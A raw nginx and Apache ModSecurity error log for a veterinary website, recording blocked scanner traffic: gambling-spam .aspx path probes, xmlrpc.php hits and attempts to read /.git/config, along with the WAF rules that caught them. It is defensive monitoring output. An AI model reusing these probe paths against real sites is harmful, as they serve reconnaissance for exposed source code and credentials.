2026/03/11 15:41:29 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /super%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/super%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:29.970188 2026] [:error] [pid 45143:tid 45156] [client 88.88.133.210:51790] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abEcqSEXSpYdWImkpzaz9wAAAYs"]
2026/03/11 15:41:31 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /superslot%20max%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20max%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:31.553524 2026] [:error] [pid 23482:tid 23500] [client 88.88.133.210:51828] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abEcq8rYaTAnN_mLXymt0QAAAQ8"]
2026/03/11 15:41:33 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /superslot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20vip.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:33.147041 2026] [:error] [pid 53953:tid 53973] [client 88.88.133.210:51852] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abEcrXiDUTQy-Lyy4w2fUwAAABA"]
2026/03/11 15:41:34 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /superslot%20wallet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot%20wallet%20net.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:34.869123 2026] [:error] [pid 54045:tid 54068] [client 88.88.133.210:51878] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abEcriRcKzQ1f-N8TgROwAAAANU"]
2026/03/11 15:41:59 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%207777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%207777.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:41:59.927738 2026] [:error] [pid 45143:tid 45156] [client 88.88.133.210:52294] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abEcxyEXSpYdWImkpza0FQAAAYs"]
2026/03/11 15:42:01 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%20auto%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:01.674462 2026] [:error] [pid 53954:tid 53987] [client 88.88.133.210:52322] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abEcybbD1J_Nhe6jce2KIwAAAEI"]
2026/03/11 15:42:03 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20auto.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:03.273122 2026] [:error] [pid 23482:tid 23500] [client 88.88.133.210:52354] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abEcy8rYaTAnN_mLXymuHQAAAQ8"]
2026/03/11 15:42:04 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%20net.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20net.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:04.854758 2026] [:error] [pid 53955:tid 54042] [client 88.88.133.210:52392] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abEczNP1Uf6qBkbxZg_QtAAAAJc"]
[Wed Mar 11 15:42:06.588655 2026] [:error] [pid 53955:tid 54031] [client 88.88.133.210:52444] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abEcztP1Uf6qBkbxZg_QvgAAAIw"]
2026/03/11 15:42:06 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%20wallet%20777.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet%20777.aspx", host: "vetstars.com.au"
2026/03/11 15:42:08 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /ufabet%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:08.201695 2026] [:error] [pid 45143:tid 45158] [client 88.88.133.210:52478] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abEc0CEXSpYdWImkpza0HQAAAY0"]
2026/03/11 15:42:09 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /w69%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/w69%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:09.954125 2026] [:error] [pid 23482:tid 23489] [client 88.88.133.210:52520] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abEc0crYaTAnN_mLXymuKwAAAQQ"]
[Wed Mar 11 15:42:11.737006 2026] [:error] [pid 45143:tid 45154] [client 88.88.133.210:52550] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abEc0yEXSpYdWImkpza0IwAAAYk"]
2026/03/11 15:42:11 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /wallet%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/wallet%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:13.318485 2026] [:error] [pid 53955:tid 54043] [client 88.88.133.210:52578] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abEc1dP1Uf6qBkbxZg_QygAAAJg"]
2026/03/11 15:42:13 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /we88%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/we88%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:15.063708 2026] [:error] [pid 23482:tid 23505] [client 88.88.133.210:52606] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abEc18rYaTAnN_mLXymuMQAAARQ"]
2026/03/11 15:42:15 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /www%20ufabet%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/www%20ufabet%20com.aspx", host: "vetstars.com.au"
2026/03/11 15:42:16 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /xo%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/xo%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:16.642814 2026] [:error] [pid 53955:tid 54022] [client 88.88.133.210:52626] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abEc2NP1Uf6qBkbxZg_QzwAAAIQ"]
2026/03/11 15:42:18 [error] 53944#53944: *861513 upstream prematurely closed connection while reading response header from upstream, client: 88.88.133.210, server: vetstars.com.au, request: "GET /yakuza%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/yakuza%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 15:42:18.383200 2026] [:error] [pid 53955:tid 54036] [client 88.88.133.210:52652] [client 88.88.133.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abEc2tP1Uf6qBkbxZg_Q0QAAAJE"]
2026/03/11 19:36:40 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /sbobet%20ca.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/sbobet%20ca.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:40.734123 2026] [:error] [pid 44800:tid 44826] [client 194.247.173.99:37680] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abFTyDN8ZerbIEHTO2qcCQAAAdg"]
2026/03/11 19:36:42 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot%20free.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20free.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:42.510098 2026] [:error] [pid 23482:tid 23491] [client 194.247.173.99:37710] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abFTysrYaTAnN_mLXyndjQAAAQY"]
2026/03/11 19:36:44 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot%20game%20666.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20game%20666.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:44.257469 2026] [:error] [pid 44995:tid 45005] [client 194.247.173.99:37734] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abFTzDoOSr9ks_axo6O2eAAAAkg"]
2026/03/11 19:36:45 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot%20joker.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20joker.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:45.951431 2026] [:error] [pid 54045:tid 54056] [client 194.247.173.99:37764] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abFTzSRcKzQ1f-N8TgS5aQAAAMk"]
2026/03/11 19:36:47 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot%20true%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20true%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:47.640932 2026] [:error] [pid 54045:tid 54062] [client 194.247.173.99:37790] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abFTzyRcKzQ1f-N8TgS5bQAAAM8"]
2026/03/11 19:36:49 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:49.410859 2026] [:error] [pid 44995:tid 45021] [client 194.247.173.99:37816] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abFT0ToOSr9ks_axo6O2fwAAAlg"]
2026/03/11 19:36:51 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slot1234%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slot1234%20pg.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:51.009454 2026] [:error] [pid 54045:tid 54064] [client 194.247.173.99:37846] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abFT0yRcKzQ1f-N8TgS5eAAAANE"]
2026/03/11 19:36:52 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /slotxo%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/slotxo%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:52.759981 2026] [:error] [pid 53955:tid 54043] [client 194.247.173.99:37872] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abFT1NP1Uf6qBkbxZg_y2gAAAJg"]
[Wed Mar 11 19:36:54.543011 2026] [:error] [pid 54045:tid 54056] [client 194.247.173.99:37900] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abFT1iRcKzQ1f-N8TgS5hgAAAMk"]
2026/03/11 19:36:54 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /spg%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/spg%20slot.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:56.164073 2026] [:error] [pid 54045:tid 54057] [client 194.247.173.99:37920] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abFT2CRcKzQ1f-N8TgS5iQAAAMo"]
2026/03/11 19:36:56 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /superslot168%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/superslot168%20wallet.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:58.043592 2026] [:error] [pid 54045:tid 54064] [client 194.247.173.99:37954] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abFT2iRcKzQ1f-N8TgS5kgAAANE"]
2026/03/11 19:36:58 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /ufa%20168.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20168.aspx", host: "vetstars.com.au"
2026/03/11 19:36:59 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /ufa%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufa%20vip.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:36:59.906595 2026] [:error] [pid 44995:tid 45018] [client 194.247.173.99:37976] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abFT2zoOSr9ks_axo6O2jgAAAlU"]
2026/03/11 19:37:01 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /ufabet%20100.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%20100.aspx", host: "vetstars.com.au"
[Wed Mar 11 19:37:01.609020 2026] [:error] [pid 44995:tid 44997] [client 194.247.173.99:38002] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abFT3ToOSr9ks_axo6O2lAAAAkA"]
[Wed Mar 11 19:37:03.520109 2026] [:error] [pid 54045:tid 54061] [client 194.247.173.99:38026] [client 194.247.173.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abFT3yRcKzQ1f-N8TgS5nQAAAM4"]
2026/03/11 19:37:03 [error] 53948#53948: *1035606 upstream prematurely closed connection while reading response header from upstream, client: 194.247.173.99, server: vetstars.com.au, request: "GET /ufabet%201668.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/ufabet%201668.aspx", host: "vetstars.com.au"
[Wed Mar 11 21:33:56.077548 2026] [:error] [pid 45143:tid 45145] [client 197.234.142.120:59556] [client 197.234.142.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abFvRCEXSpYdWImkpzb8twAAAYA"]
2026/03/11 21:51:01 [error] 53935#53935: *1134790 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /.git/config HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:03 [error] 53946#53946: *1134823 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /.git/HEAD HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:05 [error] 53948#53948: *1134854 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /public/.git/config HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:07 [error] 53948#53948: *1134879 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /app/.git/config HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:09 [error] 53948#53948: *1134912 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /.git/config HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:11 [error] 53947#53947: *1134927 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /.git/HEAD HTTP/1.1", host: "vetstars.com.au"
2026/03/11 21:51:12 [error] 53945#53945: *1134950 access forbidden by rule, client: 43.228.157.67, server: vetstars.com.au, request: "GET /public/.git/config HTTP/1.1", host: "vetstars.com.au"
[Wed Mar 11 22:31:41.993617 2026] [autoindex:error] [pid 45143:tid 45169] [client 20.17.98.189:54138] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Mar 12 08:31:00.432497 2026] [:error] [pid 11986:tid 12041] [client 43.156.168.214:51678] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abIJRDKqY2w-DVCrxTCPegAAAdc"]
[Thu Mar 12 09:43:55.921081 2026] [:error] [pid 11986:tid 12042] [client 51.83.7.81:47578] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abIaWzKqY2w-DVCrxTCarwAAAdg"]
[Thu Mar 12 09:43:58.270476 2026] [:error] [pid 11986:tid 12035] [client 51.83.7.81:58492] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abIaXjKqY2w-DVCrxTCasQAAAdE"]
[Thu Mar 12 09:44:00.805879 2026] [:error] [pid 51455:tid 51477] [client 51.83.7.81:58502] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abIaYJE0YyNxdg6PL_AdlQAAABE"]
[Thu Mar 12 09:44:03.330283 2026] [:error] [pid 11986:tid 12031] [client 51.83.7.81:58510] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abIaYzKqY2w-DVCrxTCatwAAAc0"]
